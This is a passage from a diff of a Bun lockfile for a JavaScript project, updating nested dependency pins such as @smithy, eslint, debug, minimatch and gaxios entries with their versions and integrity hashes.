"sha512-pw3VtZtX2rg+s6HMs6/+u9+hu6oY6U7IohGhVNnjbgKy86wcIsSZwgHrFR+t67Uyxvp4Xz3p3kGXXIpTNisq8A=="], - "@smithy/eventstream-codec/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], - - "@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="], - - "@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - - "@smithy/middleware-retry/uuid": ["uuid@9.0.1", "", { "bin": "dist/bin/uuid" }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="], - - "@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="], - - "@smithy/node-http-handler/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="], - - "@smithy/node-http-handler/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], + "@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="], "@smithy/property-provider/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="], - "@smithy/querystring-builder/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], + "@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="], - "@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="], - "@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], - - "@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="], - - "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="], - - "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="], - - "@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], - - "@smithy/util-waiter/@smithy/abort-controller": ["@smithy/abort-controller@4.0.4", "", { "dependencies": { "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-gJnEjZMvigPDQWHrW3oPrFhQtkrgqBkyjj3pCIdF3A5M6vsZODG93KNlfJprv6bp4245bdT32fsHK4kkH3KYDA=="], + "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="], "@surma/rollup-plugin-off-main-thread/magic-string": ["magic-string@0.25.9", "", { "dependencies": { "sourcemap-codec": "^1.4.8" } }, "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ=="], @@ -5737,12 +5937,22 @@ "@types/winston/winston": ["winston@3.11.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.2", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.4.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.5.0" } }, "sha512-L3yR6/MzZAOl0DsysUXHVjOwv8mKZ71TrA/41EIduGpOOV5LQVodqN+QdQ6BS6PJ/RdIshZhq84P/fStEZkk7g=="], + "@types/ws/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="], + + "@typescript-eslint/parser/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "@typescript-eslint/type-utils/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "@typescript-eslint/typescript-estree/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "@typescript-eslint/typescript-estree/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], "@typescript-eslint/typescript-estree/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], "@typescript-eslint/visitor-keys/eslint-visitor-keys": ["eslint-visitor-keys@4.2.0", "", {}, "sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw=="], + "@vitejs/plugin-react/@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="], + "accepts/negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="], "ajv-formats/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="], @@ -5751,10 +5961,18 @@ "asn1.js/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="], + "autoprefixer/fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="], + "babel-jest/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], "babel-plugin-root-import/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], + "body-parser/iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], + + "body-parser/qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="], + + "body-parser/raw-body": ["raw-body@3.0.2", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.7.0", "unpipe": "~1.0.0" } }, "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA=="], + "browser-resolve/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], "browserify-rsa/bn.js": ["bn.js@5.2.2", "", {}, "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw=="], @@ -5769,6 +5987,8 @@ "chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="], + "cheerio/undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="], + "chokidar/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], "cli-truncate/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="], @@ -5783,32 +6003,66 @@ "cookie-parser/cookie-signature": ["cookie-signature@1.0.6", "", {}, "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="], + "core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "create-ecdh/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="], + "css-blank-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + + "css-has-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + "cssnano/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="], "cssnano/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="], + "cytoscape-fcose/cose-base": ["cose-base@2.2.0", "", { "dependencies": { "layout-base": "^2.0.0" } }, "sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g=="], + + "d3-dsv/commander": ["commander@7.2.0", "", {}, "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw=="], + + "d3-sankey/d3-array": ["d3-array@2.12.1", "", { "dependencies": { "internmap": "^1.0.0" } }, "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ=="], + + "d3-sankey/d3-shape": ["d3-shape@1.3.7", "", { "dependencies": { "d3-path": "1" } }, "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw=="], + "data-urls/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="], "diffie-hellman/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="], - "domexception/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="], + "dom-serializer/entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="], "error-ex/is-arrayish": ["is-arrayish@0.2.1", "", {}, "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="], + "eslint/@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="], + + "eslint/ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="], + + "eslint/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "eslint/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + "eslint-import-resolver-node/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="], "eslint-import-resolver-node/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], + "eslint-import-resolver-typescript/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "eslint-module-utils/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="], + "eslint-plugin-i18next/lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], + "eslint-plugin-import/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="], + "eslint-plugin-import/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + + "eslint-plugin-jsx-a11y/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + + "eslint-plugin-react/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + "execa/is-stream": ["is-stream@3.0.0", "", {}, "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA=="], "expect/jest-message-util": ["jest-message-util@29.7.0", "", { "dependencies": { "@babel/code-frame": "^7.12.13", "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" } }, "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w=="], + "expect/jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="], + "express-session/cookie-signature": ["cookie-signature@1.0.7", "", {}, "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA=="], "express-session/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], @@ -5819,25 +6073,25 @@ "filelist/minimatch": ["minimatch@5.1.6", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g=="], + "finalhandler/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "flat-cache/keyv": ["keyv@4.5.4", "", { "dependencies": { "json-buffer": "3.0.1" } }, "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw=="], "form-data/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], - "gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="], + "gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="], - "glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="], + "gcp-metadata/gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="], - "google-auth-library/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="], + "glob/minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="], "google-auth-library/gcp-metadata": ["gcp-metadata@6.1.1", "", { "dependencies": { "gaxios": "^6.1.1", "google-logging-utils": "^0.0.2", "json-bigint": "^1.0.0" } }, "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A=="], - "googleapis-common/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, 